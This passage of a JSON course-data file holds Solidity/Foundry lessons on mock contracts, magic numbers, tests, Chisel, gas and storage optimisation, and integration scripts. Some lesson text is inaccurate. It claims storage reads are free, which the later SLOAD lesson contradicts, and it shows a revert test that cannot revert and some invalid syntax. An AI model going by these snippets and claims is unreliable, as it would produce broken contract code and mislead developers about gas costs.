into how we can adapt our existing environment, where we grab contract addresses from the live network, to our local network which does not yet have these contracts. For this, we will use the 'anvil config.'\n\nBut before we proceed, a key clarification: a **mock contract** is akin to a placeholder - it's a real contract that we control, but its primary purpose is in testing scenarios. This means, in the context of a local blockchain, we need to deploy these mock contracts manually.\n\n## Broadcasting the Deployment of Mock Contracts with VM\n\nNow, the first step in this journey is to initialize the process for deploying our contracts. Let's take it in stride.\n\nWe'll kick off by incorporating the VM start and stop broadcast within our implementation. These provisions ensure we can deploy the mock contracts to the Anvil chain we're working with:\n\n```javascript\nVM.startBroadcast(); //Block for deploying mock contractsVM.stopBroadcast();\n```\n\nRemember, since we're using this VM keyword, we can't configure this as a public pure and the helper config must be a script to have access to the VM keyword.\n\n## Deploying Price Feed Mock Contract\n\nMoving on, let's delve into deploying our price feed mock contract:\n\n\n\nFirst, create a new folder within the test called 'mocks' to store our mock contracts. Then create a new file and name it 'mockv3aggregator.sol.'\n\nInstead of building this file from scratch, reuse the existing mock version already available on chainlink's brownie contracts. But beware, it uses an older version (0.6.0) of Solidity. To save time, fetch the upgraded version from the 'Foundry FundMe F 23' folder:\n\n```shell\ncd FoundryFundMeF23/testFolder\n```\n\nThen copy and paste the content into your project.\n\nThis mock contract contains functions like 'latest round data,' which one might remember from our price converter. Moreover, its constructor allows updates and manipulation during testing, making it perfect for our local Anvil Chain. Now, we have all the necessary provisions to deploy.\n\n```javascript\nimport mockv3aggregator from \"mocks/test/mocks/MockV3Aggregator.sol\";\nmockv3aggregator mockPriceFeed = new mockv3aggregator(8, 2000e8);\n```\n\nThe constructor, as seen in the mock contract, requires decimals (in our case, for ETH/USD, it's 8), and an initial answer, which could be any desired starting price (say, 2000).\n\nAfter deploying our mockPriceFeed contract, the resulting address can be allocated to the network config of the Anvil chain:\n\n```javascript\nnetworkConfig memory anvilConfig = networkConfig(priceFeed: address(mockPriceFeed));\nreturn anvilConfig;\n```\n\nWith this, we've set the stage for deploying your smart contracts and running your tests on a local network. We've seen how to configure and use a mock contract for the price feed, adapting it to our local Anvil chain. These steps can also be applied to deploy any other mock contracts as per your development and testing needs.\n\nStay tuned for more such exciting DevOps adventures with Ethereum, Solidity, and smart contracts!\n", + "updates": [] + }, + { + "id": "99094676-7af8-4cce-920e-c1b002502841", + "number": 11, + "title": "How to refactor magic number", + "slug": "magic-numbers", + "folderName": "11-magic-numbers", + "description": "Explanation of the concept of magic numbers in Solidity code, their drawbacks, and strategies for avoiding them to maintain code readability and efficiency.", + "duration": 3, + "videoUrl": "EQUjA_xM2C8", + "rawMarkdownUrl": "/routes/foundry/2-foundry-fund-me/11-magic-numbers/+page.md", + "markdownContent": "---\ntitle: Magic Numbers\n---\n\n_Follow along the course with this video._\n\n\n\n---\n\nWhen diving into the detailed layers of Solidity development, one principle that I keep circling back to is the avoidance of 'magic numbers'. A term that may sound relatively cryptic or even partially endearing, 'magic numbers' actually refer to something quite mundane that can turn out to be enormously inconvenient when dealing with large blocks of code.\n\nHaving repeatedly voiced my intense disdain for magic numbers, I am more than ready to dissect and debunk these pests for you.\n\n## Decoding Magic Numbers\n\nTo be concise, magic numbers are the esoteric, context-less figures that appear within a chunk of code, unrelated to anything else and devoid of any conspicuous significance. Let's illustrate this with an example:\n\n```js\nuint8 public constant DECIMALS = 8;\nint256 public constant INITIAL_PRICE = 2000E8;\n\n\n```\n\nHere, with the number `8` and `2000 E8` dropping in out of nowhere, it's virtually impossible to infer what these numbers represent if you haven't seen the code for a while. This might not seem like much of an issue in this small snippet, but when you're dealing with substantial amounts of code, these magic numbers become an exasperating hindrance.\n\nTo resolve this mystery, you would have to go back to the aggregator – in our case, Mach V3 – and decipher the coding behind these numbers. This becomes tiring and can slow your coding pace considerably.\n\n\n\nIt's worth noting that my advocacy for avoid magic numbers transcends practicality. Even during audit reports and smart contract audits, I make it a point to highlight such areas for improvement. Maintaining code readability is a critical aspect of efficient coding, which resonates across any language, including Solidity.\n\n## Conclusion\n\nIn conclusion, maintaining readable, explicit and efficient code should always be the goal. Striving to keep magic numbers at bay can significantly contribute towards this endeavor. After all, software development is more an art than a science, and the devil, as they say, is in the details.\n\n\n", + "updates": [] + }, + { + "id": "b00a1337-d0fb-4fb6-a1ea-9df92b026e22", + "number": 12, + "title": "Refactoring the mock smart contract pt.2", + "slug": "refactoring-mocks-2", + "folderName": "12-refactoring-mocks-2", + "description": "Continuation of the tutorial on refactoring mock contracts in Solidity, focusing on creating network-agnostic smart contracts for easy deployment across multiple networks.", + "duration": 5, + "videoUrl": "6HztoOIetAQ", + "rawMarkdownUrl": "/routes/foundry/2-foundry-fund-me/12-refactoring-mocks-2/+page.md", + "markdownContent": "---\ntitle: Refactoring III - Mocking (continued)\n---\n\n_Follow along with this video._\n\n\n\n---\n\nIn this lesson, we're going to examine a useful technique to create network-agnostic smart contracts. This practice can substantially aid in making your contracts more flexible and easily deployable across multiple networks.\n\n## Codifying the Process\n\nThe logic we'll use here revolves around accessing the ​’ActiveNetwork activenetworkconfig' - a price feed we've already established. In our scenario, the guiding condition is whether this feed equals the zero address or not. Here's the snippet of code, we'll focus on:\n\n```js\nif(activeNetworkConfig.priceFeed != address(0) {\n return ActiveNetworkConfig;\n}\n```\n\nThis segment dictates that we check if the price feed has been initialized yet (i.e., equipped with an address not equal to address zero). If so, we have the green light to return and halt the running process, because no new deployment is needed.\n\n## Naming Conventions in Solidity\n\nAn issue with the function managing this operation is the naming convention; it doesn't clearly denote its duties. The function doesn't just \"get\" the configuration, it \"creates\" them as well. Therefore, \"getOrCreateAnvilETHConfig()\" is a more accurate and more descriptive name.\n\n\n\nOnce we have edited this function and put the mechanism into action, we can observe that tests, which would previously fail due to a missing contract, now run without any hassle. This success is because the helper configuration deploys a 'pseudo' price feed which successfully responds to our requests.\n\n## Testing and Results\n\nThere's an exciting aspect of the testing process to mention too:\n\nTypically, if you're using chain forking, you need to perform an API call to fetch the most recent state of the forked chain. This process significantly slows down the operation. However, with our new function, we can bypass this step and dramatically expedite the testing process.\n\n\n\nThis streamlined test represents a massive breakthrough, demonstrating how we've made the smart contract network agnostic — able to be deployed on any given network effortlessly.\n\n## Concluding Thoughts and a Job Well Done\n\nAs I always say, honing these skills will make you an absolute standout in the world of Solidity developers. Your understanding of network-agnostic techniques won't just make you a competent smart contract developer, but will elevate the industry standard for smart contract development.\n\nTo pat you all on the back, you've indeed learned something of massive significance here! However, the journey is far from over, and there's still much more to come.\n\nRemember, if any of this seems too much, make use of the course resources at hand and lean on the community forums for support. Your active participation will not only help you but will assist others as well.\n\nStay excited, keep learning, and I am looking forward to our next tutorial. Until then, happy coding!\n", + "updates": [] + }, + { + "id": "f7cb3eb9-2da0-4843-b0fb-d6db0a6db13e", + "number": 13, + "title": "Foundry tests cheatcodes", + "slug": "foundr-tests-cheatcodes", + "folderName": "13-more-cheatcodes", + "description": "Guide on using Foundry tests cheat codes for efficient and effective testing of smart contracts, focusing on deployment strategies, code coverage, and test understanding.", + "duration": 13, + "videoUrl": "pDb8XDYM8w0", + "rawMarkdownUrl": "/routes/foundry/2-foundry-fund-me/13-more-cheatcodes/+page.md", + "markdownContent": "---\ntitle: More Cheatcodes\n---\n\n_Follow along with this video._\n\n\n\n---\n\nHello, and welcome back to our advanced blockchain coding series. I hope you've taken a little break, as resting periods especially early in the course- are essential for grasping the plethora of advanced pieces of the blockchain puzzle we're working on.\n\nHere’s a gentle reminder: Spread the course over several days, not a single day. As the saying goes, repetition is the mother of skill; for skill acquisition to be successful, rests are necessary for the body to recuperate.\n\nHaving learned a great deal, we're sailing and doing fantastic.\n\n## Deployment Strategy: FundMe\n\nDid you know you can deploy **FundMe** on any chain with our setup helper config? Isn't it amazing? This feature permits the freedom of focusing solely on writing our tests in any network, with the assurance of our deployment setup working just perfectly.\n\n## Prioritizing Code Coverage\n\nWe emphasize the importance of code coverage throughout the course. Nevertheless, it isn't an end-all. For instance, you should continue coding if you don't attain 100% coverage. However, a figure beneath 10% doesn't spell well either.\n\nLet me provide a perspective: Without testing, there's a high probability of functional errors. Consequently, strive to write tests for as much code as is possible to allow the assurance that our code is indeed functioning as desired.\n\nLet's delve directly into coding using our function, `fund`. The code snippet should look like this:\n\n```js\nfunction testFundFailsWithoutEnoughETH() public {\n vm.expectRevert(); //the next line should revert\n // assert(This tx fails/reverts)\n uint256 cat = 1;\n}\n```\n\n\n\nThe function checks whether sending insufficient Ether will cause our contract to revert. If you run this code, you will note that it reverts as expected and thus passes the test. Furthermore, it checks that `FundMe.fails` when there is insufficient Ethereum sent, once again illustrating a successful test.\n\n## Honing Your Understanding of Fund Functionality\n\nTo further test our fund function, let's now consider instances where sufficient Ether has been sent:\n\n```js\nfunction testFundUpdatesFundedDataStructure() public {\n fundMe.fund(value: 10e18);\n uint256 amountFunded =fundMe.getAddressToAmountFunded(msg.sender);\n assertEq(amountFunded, 10e18);\n}\n```\n\nThe function above tests whether sending sufficient Ether (more than $5) updates the data structures correctly. This function accesses the contract data that was previously marked as private. This can be achieved by using getter functions, such as `getContractBalance`, instead of accessing the variables directly. This makes the code more readable, secure and efficient.\n\n## The Wrap\n\nCongratulations on completing this part of the course, it's indeed taken significant effort, and you are making progress! Code testing and understanding how it integrates with complex chains is an essential part of mastering advanced blockchain coding. Don't worry about the number of tests conducted; remember that the key is to understand and apply the concepts learned in code coverage.\n\nRemember to keep practicing and reworking the code until you fully understand how it functions. Good luck with your test and happy coding!\n", + "updates": [] + }, + { + "id": "5f0631d9-6492-4995-8c79-431140cb12b5", + "number": 14, + "title": "Adding more coverage to the tests", + "slug": "more-coverage", + "folderName": "14-more-coverage", + "description": "This lesson delves into advanced Solidity unit testing techniques. It includes writing robust tests for the 'getFunder' function and testing the contract owner's withdrawal function using the Arrange-Act-Assert methodology. The lesson aims to strengthen your code backend, making it almost bulletproof.", + "duration": 15, + "videoUrl": "IPgBsxL-SkE", + "rawMarkdownUrl": "/routes/foundry/2-foundry-fund-me/14-more-coverage/+page.md", + "markdownContent": "---\ntitle: More Coverage\n---\n\n_Follow along with this video._\n\n\n\n---\n\nLet's delve deeper into Solidity unit testing by testing how our function adds funder to an array of funders. In the following guideline, we'll walk through writing solid unit tests that will make your code backend almost bulletproof.\n\n## Start with a Simple Test\n\nStep one involves writing a simple test to ensure our newly created 'getFunder' function works properly. Here is what your code may look like:\n\n```js\n function testAddsFunderToArrayOfFunders() public {\n vm.startPrank(USER);\n fundMe.fund{value: SEND_VALUE}();\n vm.stopPrank();\n\n address funder = fundMe.getFunder(0);\n assertEq(funder, USER);\n }\n```\n\nThe next step is running the test. You can use any test commands that are already set up on your server, such as `clear forge test` or `paste`. If all is well, proceed to the next step.\n\nTo ensure our data structure is updated correctly, multiple tests with multiple funders can be added. However, for this tutorial, we will settle for our successful single user test run.\n\n## Test the Owner's Withdrawal Function\n\nThe next step is to test our smart contract's owner withdrawal function. Only the owner should be able to call the withdrawal function. Here's a simple way to do that:\n\n```js\n function testOnlyOwnerCanWithdraw() public funded {\n vm.expectRevert();\n fundMe.withdraw();\n }\n```\n\nThe above test ensures that when a non-owner tries to withdraw, the function reverts.\n\n\n\n## Arrange-Act-Assert Testing Methodology\n\nThe arrange-act-assert (AAA) pattern is one of the simplest and most universally accepted ways to write tests. As the name suggests, it comprises three parts:\n\n1. **Arrange**: Set up the test by initializing variables, objects and prepping preconditions.\n2. **Act**: Perform the operation to be tested like a function invocation.\n3. **Assert**: Compare the received output with the expected output.\n\nHere is how the AAA methodology fits into our unit testing:\n\n```js\n function testWithdrawFromASingleFunder() public funded {\n // Arrange\n uint256 startingFundMeBalance = address(fundMe).balance;\n uint256 startingOwnerBalance = fundMe.getOwner().balance;\n\n // vm.txGasPrice(GAS_PRICE);\n // uint256 gasStart = gasleft();\n // // Act\n vm.startPrank(fundMe.getOwner());\n fundMe.withdraw();\n vm.stopPrank();\n\n // uint256 gasEnd = gasleft();\n // uint256 gasUsed = (gasStart - gasEnd) * tx.gasprice;\n\n // Assert\n uint256 endingFundMeBalance = address(fundMe).balance;\n uint256 endingOwnerBalance = fundMe.getOwner().balance;\n assertEq(endingFundMeBalance, 0);\n assertEq(\n startingFundMeBalance + startingOwnerBalance,\n endingOwnerBalance // + gasUsed\n );\n }\n\n```\n\n## Testing Withdrawals from Multiple Funders\n\nThe final test in our array of tests will check for withdrawals from multiple funders. This more complex functionality requires us to fund the contract from multiple sources, then check the balances and withdrawal process:\n\n```js\nfunction testWithDrawFromMultipleFunders() public funded {\n uint160 numberOfFunders = 10;\n uint160 startingFunderIndex = 2;\n for (uint160 i = startingFunderIndex; i < numberOfFunders + startingFunderIndex; i++) {\n // we get hoax from stdcheats\n // prank + deal\n hoax(address(i), STARTING_USER_BALANCE);\n fundMe.fund{value: SEND_VALUE}();\n }\n\n uint256 startingFundMeBalance = address(fundMe).balance;\n uint256 startingOwnerBalance = fundMe.getOwner().balance;\n\n vm.startPrank(fundMe.getOwner());\n fundMe.withdraw();\n vm.stopPrank();\n\n assert(address(fundMe).balance == 0);\n assert(startingFundMeBalance + startingOwnerBalance == fundMe.getOwner().balance);\n assert((numberOfFunders + 1) * SEND_VALUE == fundMe.getOwner().balance - startingOwnerBalance);\n }\n\n```\n\nAfter writing all your tests, it is good practice to test the coverage of your contracts.\n\nCongratulations, you have successfully learned how to write detailed and thorough tests for your smart contracts in Solidity!\n", + "updates": [] + }, + { + "id": "6761590e-d73c-4e18-a19d-730f5b666548", + "number": 15, + "title": "Introduction to Foundry Chisel", + "slug": "introduction-to-foundry-chisel", + "folderName": "15-chisel", + "description": "This lesson introduces Chisel, a tool for testing and debugging Solidity code directly in the terminal. It covers the basics of using Chisel, including launching the interactive shell, executing Solidity code, and exploring its functionalities. The lesson is a step-by-step guide to efficient Solidity testing.", + "duration": 2, + "videoUrl": "Qfac2hZ3ywA", + "rawMarkdownUrl": "/routes/foundry/2-foundry-fund-me/15-chisel/+page.md", + "markdownContent": "---\ntitle: Chisel\n---\n\n_Follow along with this video._\n\n\n\n---\n\n## An Introduction to Chisel\n\nTypically, if we want to rapidly test a snippet of solidity code, we'd navigate over to Remix, an online compiler for Solidity programming language. However, with Chisel, we can directly test Solidity in our terminal swiftly and efficiently. This is a step-by-step guide on how to use Chisel for testing lines of code or debugging our tests.\n\n**Step 1: Launching Chisel**\n\nIt's as simple as typing in the command `chisel` in the terminal. The terminal instantly turns into an interactive shell where we can start testing our solidity code.\n\n```\nchisel\n```\n\n**Step 2: Exploring Chisel**\n\nIf you're unsure about what you can accomplish in this newly opened chisel shell, simply type in `!help`. The terminal will provide a wealth of information relevant to the command line's functionalities.\n\n```\n!help\n```\n\nThis step is not mandatory, but it's handy when you're new to Chisel and want to explore its range of capabilities.\n\n\n\n## Writing Solidity with Chisel\n\nChisel allows us to write Solidity directly into our terminal and execute it line by line. Here's an example:\n\n```bash\nuint256 cat = 1;\ncat\n```\n\n\n\nThis simplistic code creates a variable `cat` and assigns it a value of `1`. When `cat` is called, the program echoes out `1` as the output.\n\nContinuing with the example, we can perform simple operations too:\n\n```bash\nuint256 catAndThree = cat + 3;\ncatAndThree\n```\n\nThis block creates a new variable `cat_n_three` and assigns it the value of `cat` plus 3. The resultant output when called will be `4`.\n\n\n\nThis simplistic yet powerful interaction is what makes Chisel such a powerful tool for debugging and testing small pieces of Solidity code.\n\n\n\n## Exiting Chisel\n\nOnce you're done with your session, exiting from this Solidity testing environment is as straightforward as getting into it. Simply type `Control` + `C` to end the chisel session and return to your regular terminal.\n\n```\nControl + C\n```\n\nAll in all, Chisel redefines convenience, offering us a command-line interface to write, test, and debug Solidity. With this exceptional tool, you don't need to toggle between platforms to ensure your code runs smoothly—everything can be done right from the comfort of your terminal. Happy debugging!\n", + "updates": [] + }, + { + "id": "b2817d50-67f7-49b7-826c-67021453f75c", + "number": 16, + "title": "Calculate Withdraw gas costs", + "slug": "calculate-solidity-function-gas-costs", + "folderName": "16-cheaper-withdraw", + "description": "This lesson focuses on reducing gas consumption in Ethereum smart contracts. It explains how to evaluate gas costs, understand Anvil's zero gas-price, and utilize Solidity's built-in functions to optimize gas usage. The goal is to make contract execution more economical.", + "duration": 5, + "videoUrl": "TtEdnlZ2NSc", + "rawMarkdownUrl": "/routes/foundry/2-foundry-fund-me/16-cheaper-withdraw/+page.md", + "markdownContent": "---\ntitle: Cheaper Withdraw\n---\n\n_Follow along with this video._\n\n\n\n---\n\nHello folks, let's turn our attention to an absolutely interesting aspect of Ethereum smart contracts - Gas. I'm going to show you the smart way of reducing the amount of gas you spend on executing your smart contracts, which turns out to be a beneficial piece of information, right? As most of us know, Ethereum gas is the fuel spent for every transaction we conduct or deploy on the blockchain. The more complicated our contract gets, the more gas we'll have to shell out. But what if there's a way to make this more economical?\n\n## Evaluating the Gas-cost Benchmark\n\nHow do you even figure out how much gas a transaction will cost you? For instance, let's consider a test for `withdraw` from multiple funders. What we can do is run `forge snapshot -m`, against this test. This call prompts the creation of a handy file named `Gas Snapshot`, which will reveal the exact amount of gas that this specific test will consume.\n\n**Tip:** You can convert between gas and Ether prices to ascertain how much this gas consumption will financially impact you. Optimization begins with identifying your current spending!\n\nWhat we did above is merely to establish a benchmark for our testing, i.e., our `withdraw` from multiple funders costs us so much gas.\n\n## Understanding Anvil's Zero Gas-price\n\nWhile working with Anvil local chains - forked or otherwise - the gas price defaults to zero. So, if we invoke a transaction - say `vm.prank(fundMe.getOwner())`, it should ideally cost us some gas. But when we calculate the final balance (or 'ending owner balance'), gas cost doesn't figure into it, thanks to Anvil's zero gas price. To simulate credible gas prices and consequently, real-world transaction costs, we turn to the helpful cheat code `TX gas price`, which standardizes the gas price for our transaction.\n\n```js\nuint256 constant GAS_PRICE = 1;\n```\n\n## Calculating Actual Gas Usage\n\nIn order to visualize the gas usage, we can leverage Solidity's built-in function `gas left()`. This calculates the remaining gas from a transaction after execution.\n\n```js\nuint256 gasStart = gasleft();\n```\n\nWe can repeat this process with `dash vv` and it will show us how much gas was actually expended in this particular transaction.\n\n## Making Gas Usage Cheaper\n\nNow that we have our gas snapshot and its holistic understanding, the question remains, can we make this cheaper? Yes, we absolutely can and this is where Ethereum's data location - storage - steps in. Long story short, data written in storage is expensive while reading from storage is free. Hence, using storage effectively could significantly reduce your gas usage and consequently, your transaction cost.\n\nStay tuned as we delve into the world of Ethereum storage optimization in the upcoming posts.\n", + "updates": [] + }, + { + "id": "fe0f8efa-c582-4a5c-89d3-363fa12e9010", + "number": 17, + "title": "Introduction to Storage optimization", + "slug": "solidity-storage-optimization", + "folderName": "17-storage", + "description": "In this lesson, you'll learn about optimizing Ethereum smart contract storage to reduce gas consumption. It covers storage variables, their impact on gas usage, and how to efficiently use storage and memory in Solidity. The lesson also includes practical examples using Anvil.", + "duration": 10, + "videoUrl": "8LAeGgkkoYw", + "rawMarkdownUrl": "/routes/foundry/2-foundry-fund-me/17-storage/+page.md", + "markdownContent": "---\ntitle: Storage\n---\n\n_Follow along with this video._\n\n\n\n---\n\n## A Look into Ethereum Gas Optimization\n\nIn pursuit of deciphering Ethereum smart contract storage, we need to address gas optimization. The term `gas` refers to the computational efforts needed to execute operations in the Ethereum virtual machine.\n\nNow, let's explore our contract variables and understand how they consume gas.\n\n\n\nIn one of the [freeCodeCamp videos](https://youtu.be/gyMwXuJrbJQ), a simple contract with global variables is analyzed. The objective here is to make our contract more gas-efficient by examining storage variables.\n\n## Breaking Down Storage Variables\n\nStorage variables, also known as state variables or global variables, play a crucial role in our contract's gas usage. These variables are persistent, meaning they retain their values between function calls.\n\nWhen we declare a variable in our contract, this variable gets allotted a spot in storage. It's helpful to visualize storage as a giant, numbered array, where each element comprises a `storage slot` of 32 bytes.\n\nEvery time we add a global variable, it takes up a new slot in this storage array. In the case of dynamic values such as arrays or mappings, these are managed using a hashing function whose specifics can lay hold of in the Solidity documentation.\n\n\n\n## Arrays and Mappings\n\nFor a better grasp, consider a dynamic array named `myArray`. The array length is stored at the array's storage slot, not the entire array.\n\n```js\nmyArray.push(222);\n```\n\nWhen we add an element to the array, it is stored at a specific location based on the aforementioned hashing function.\n\nHow about mappings? Common to arrays, Solidity assigns a storage slot for each mapping. Should the slot be empty, Solidity earmarks it for the mapping's hashing function.\n\nNow, you may wonder, how does Solidity handle constant and immutable variables? As it turns out, it doesn't store these variables. Instead, these variables become part of the bytecode of the contract. Consequently, the variables do not occupy space in the storage.\n\n## Local Variables and Memory Keyword\n\nIn contrast, variables declared within a function do not persist. Once the function finishes running, these variables are discarded. These are stored in a separate memory data structure.\n\nHere, we unearth why we often use the `memory` keyword, especially for strings.\n\n```js\nfunction getString() public pure returns (string memory) {return \"Hello, World!\";}\n```\n\nStrings, at their core, are dynamically sized arrays. Through `memory`, we instruct Solidity to allocate space for the string in the memory location, destined for deletion after usage.\n\n## Exploring Storage with Anvil\n\nAnvil offers an interesting way to inspect the storage of a Solidity contract. Using the command `forge inspect FundMe storageLayout`, we can inspect the storage layout of our contract.\n\nAnother way is through `Cast storage ` command. This way, you can fetch the content of a certain storage slot in your contract.\n\n\n\n)## On Blockchain Privacy\n\nLastly, even though we can declare variables as `private` in Solidity, the data isn't truly private. Due to the public nature of blockchains, anyone can read that information off of your or anybody's blockchain.\n\nIn conclusion, understanding how storage works within Ethereum smart contracts is a vital skill for a successful Solidity developer. It helps us write more efficient contracts and enable more cost-effective operations within the Ethereum ecosystem.\n", + "updates": [] + }, + { + "id": "f3f4f5a4-ab08-4325-a072-eb9af95ca859", + "number": 18, + "title": "Optimise the withdraw function gas costs", + "slug": "optimise-solidity-function-gas-costs", + "folderName": "18-cheaper-withdraw-ii", + "description": "This advanced lesson teaches how to optimize the 'withdraw' function in smart contracts for lower gas costs. It discusses bytecode analysis, storage and memory operations, and practical code changes to reduce gas usage. The lesson includes a comparative analysis of gas usage before and after optimization.", + "duration": 8, + "videoUrl": "ST_4j4vsadk", + "rawMarkdownUrl": "/routes/foundry/2-foundry-fund-me/18-cheaper-withdraw-ii/+page.md", + "markdownContent": "---\ntitle: Cheaper Withdraw (Continued)\n---\n\n_Follow along with this video._\n\n\n\n---\n\nAs budding young developers navigating through the intricacies of gas optimization in Ethereum, the issue of storage is one area that arguably minces no words. Sure, it could appear all fancy and sophisticated if you squint your eyes at the right angle – but we have to ask ourselves: why all this fuss about storage?\n\nThe reason is hardly elusive: reading and writing from storage is an overwhelming expense on our tightly-strapped gas resources. Unpicking or compressing any data stored in it drains the gas faster than you can imagine.\n\nLet's delve into this a little deeper to help iron out the creases:\n\n## The Web of Bytecode:\n\nWhen you compile your solidity code, it gets whittled down to bytecode per se. This enigmatic-looking bytecode can be unhashed to find the correlation between gas consumption and how storage is utilized when your contract is running on the Ethereum Virtual Machine (EVM). For this, you could simply switch over to [Remix](https://remix.ethereum.org/), hit compile, navigate to the compilation details, and select bytecode.\n\nWhen we scroll down to the end, we'll uncover two vital entities: Object and Opcodes. The object is an intricate pattern of your contract in bytecode, and the Opcodes are simply the bytecode version translated into a rudimentary set of instructions. Each Opcode — the lowest level of computer language — tattoos specific gas costs on each operation it conducts; the costs quickly aggregate to a monumental sum when you perform an operation through EVM.\n\nWe scroll through the Opcodes and observe a pattern in gas costs – most of them like addition, multiplication, and division cost around two or three gas. And then, boom!\n\n\n\n`SLOAD` is the Opcode that reads from storage, and it sets you back by a massive 100 gas. Similarly, S-store saves to storage, costing us the same gargantuan amount of gas. This instantly makes us realize the vast chasm of difference between storage and alternate operations, which usually cost just a few gas.\n\n## Aiming for Optimization:\n\nBut the conversation shouldn’t stop there. The dialogue around storage also goes beyond to unearth the possibility of a memory-load (M-load) and a memory-store (M-store) which cost just three gas each. We’re staring at a stark disproportion here: it’s almost 33 times more expensive to read and write from storage than it is to access memory. So, voila! The most straightforward initiative to optimizing gas is to perform read-write actions from memory, respecting the notion of expensive storage access.\n\nHaving keyed into this knowledge, we spring back to our FundMe contract’s withdrawal function. To dodge ransacking the holistic storage multiple times, we replace the subsequent reads with a prerecorded memory variable. We can quickly establish the new function for cheaper withdrawal. In this manner, we alter the looping process by initially reading from the storage just once and replace further iterated reads with a memory variable.\n\nThis yields the revised code:\n\n```js\nfunction cheaperWithdraw() public onlyOwner {\n address[] memory funders = s_funders;\n // mappings can't be in memory, sorry!\n for (uint256 funderIndex = 0; funderIndex < funders.length; funderIndex++) {\n address funder = funders[funderIndex];\n s_addressToAmountFunded[funder] = 0;\n }\n s_funders = new address[](0);\n // payable(msg.sender).transfer(address(this).balance);\n (bool success,) = i_owner.call{value: address(this).balance}(\"\");\n require(success);\n }\n```\n\n## Comparative Testing and Results\n\nWith that code snippet fleshed out, we can simply copy and adapt our previous test function, amending the call to use 'cheaperWithdraw'. Next, we establish a gas snapshot to encapsulate all of our tests. This can be done with the `forge snapshot` command in the terminal. We can then compare the gas usage of the two functions: the original `withdraw` and the optimized `cheaperWithdraw`. Already, we can observe an improvement with an approximate saving of 800 gas.\n\n## Style Guidelines in Etherem Development\n\nThe brandishing of style guides in developmental structure is a cornerstone to efficient coding. While ensuring code readability, it also provides a recognizable attribution to certain key identifiers in a solidity code environment.\n\nIn the Chainlink style guide, for instance, immutable variables are prefixed with `i_` while storage variables bear `s_`. These prefixes act as signals to the coders about the nature of these variable and the subsequent gas costs associated with them. It provides an opportunity for developers to consider cheaper alternatives like memory variables over storage variables.\n\nThe [Solidity Documentation](https://docs.soliditylang.org/en/v0.8.4/style-guide.html) provides a comprehensive guide to code layout, function names, and more. Chainlink has its own style guide, which is linked to the GitHub repo for this article.\n\n## Wrapping Up\n\nThis blog was all about imparting the importance of optimizing storage access in order to conserve gas in contract execution. It’s crucial to adapt to these techniques early on in your career as a blockchain developer. The ability to identify and adapt constructs that optimize gas usage will undoubtedly enhance your proficiency in developing efficient, less costly smart contracts.\n\nRemember that while it might seem like a small gain in the beginning, these savings will aggregate into substantial saving when you’re dealing with larger scale operations. You've done great work today! It's time now to push this code up to your GitHub and celebrate your first smart contract project.\n", + "updates": [] + }, + { + "id": "698e9f4a-490b-4d3d-a344-eec70c6c49e7", + "number": 19, + "title": "Create integration tests", + "slug": "solidity-integration-tests", + "folderName": "19-interactions", + "description": "Explore the creation of integration tests for Solidity smart contracts. This lesson covers the setup and execution of integration tests, ensuring that contract functions interact correctly with other system parts. It includes practical examples and a guide for setting up a comprehensive test suite.", + "duration": 15, + "videoUrl": "5u02NBfV4PY", + "rawMarkdownUrl": "/routes/foundry/2-foundry-fund-me/19-interactions/+page.md", + "markdownContent": "---\ntitle: Interactions.s.sol\n---\n\n_Follow along with this video._\n\n\n\n---\n\n## Creating a Project README\n\nFirstly, you'd want to add a README.md file to your project in GitHub. This document should ideally explain clearly what your code does and how others can use it. A GitHub repository without a good README, it's like a book without a cover. Like a book cover, your README should clearly convey what the code within your repository does.\n\nHere's a suggested format for your README.\n\n- **Introduction:** Give a brief explanation of your project.\n- **Getting Started:** List the requirements for running your code.\n- **Quick Start**: Explain different commands and procedures to install and run your code.\n\n## Writing Integration Tests and Scripts\n\nOur steady progression brings us to the next crucial aspect, writing integration tests. To seamlessly interact with our contract, we need to create a programmatic way for funding and withdrawing. By creating integration tests, we can ensure that our contract functions as intended when used in conjunction with other parts of the system.\n\nLet's go through the process of creating a new test file named `Interactions.s.sol` under the `Script` section. We'll be dealing with two primary scripts here: `FundMe.sol` and `WithdrawFundMe.sol`.\n\nNow, let's consider a scenario where we want to fund our most recently deployed contract. For that purpose, we use a tool named Foundry DevOps. You can install it by simply running the following command in your terminal:\n\n```bash\nforge install ChainAccelOrf/foundry-devops --no-commit\n```\n\nIn your `Run` function, you can include the following lines of code to call the `FundFundMe` function:\n\n```javascript\n function fundFundMe(address mostRecentlyDeployed) public {\n vm.startBroadcast();\n FundMe(payable(mostRecentlyDeployed)).fund{value: SEND_VALUE}();\n vm.stopBroadcast();\n console.log(\"Funded FundMe with %s\", SEND_VALUE);\n }\n\n```\n\n\"The DevOps tool `mostRecentlyDeployed` is remarkably efficient at retrieving the most recently deployed version of a contract. No more manual hassles!\"\n\nAfter setting up the `FundMe` contract, you should also set up the `WithdrawFundMe` contract in the same way. The primary difference between these tests and the unit tests is that they're testing broader interactions.\n\n## Running and Verifying Tests\n\nUpon setting up the interactions correctly, start running your tests with the `forge test` command.\n\n```bash\nforge test\n```\n\nSeparating your integration tests and unit tests into different folders enhances your project management workflow. For instance, transferring the `FundMeTest.sol` to the `unit` folder might necessitate updating current import paths.\n\nTo validate that your functions integrate and work properly, create an `InteractionsTest.sol`. Just like for `FundMe`, the `FundMe` and `WithdrawFundMe` functions are set up for `InteractionsTest.sol`, albeit the testing is more specific to ensure your interactions function as desired.\n\nBringing it all together, we've now created a comprehensive suite of unit and integration tests that accurately reflects whether your code will function as expected.\n\n## In Conclusion:\n\nBuilding a solid portfolio that showcases your skills as an engineer need not be a strenuous task. By incorporating the above methods into your workflow, you're sure to gain an edge in your development career. A comprehensive README, Running Integration tests, creating scripts for interactions, and ensuring that when you're pretending to deploy to a live network, everything passes contributes greatly towards a professional blockchain project.\n\nSo, let's keep pushing until we get there because that's what awesome engineers do!\n", + "updates": [] + }, + { + "id": "ff41ef82-ab94-4081-a724-1a513e9b9a31", + "number": 20, + "title": "Automate your smart contracts actions - Makefile", + "slug": "makefile", + "folderName": "20-makefile", + "description": "Learn to streamline your development workflow using Makefiles. This lesson teaches how to automate the building and deployment processes of smart contracts. It includes detailed examples of deploying to networks like Sepolia and setting up a comprehensive Makefile for various development tasks.", + "duration": 9, + "videoUrl": "Q3tvdSrm2vI", + "rawMarkdownUrl": "/routes/foundry/2-foundry-fund-me/20-makefile/+page.md", + "markdownContent": "---\ntitle: Makefile\n---\n\n_Follow along with this video._\n\n\n\n---\n\nDo you find writing long scripts all the time tedious? Or loathe the idea of having to re-enter your lengthy deployment commands constantly during your project's lifetime? If so, then 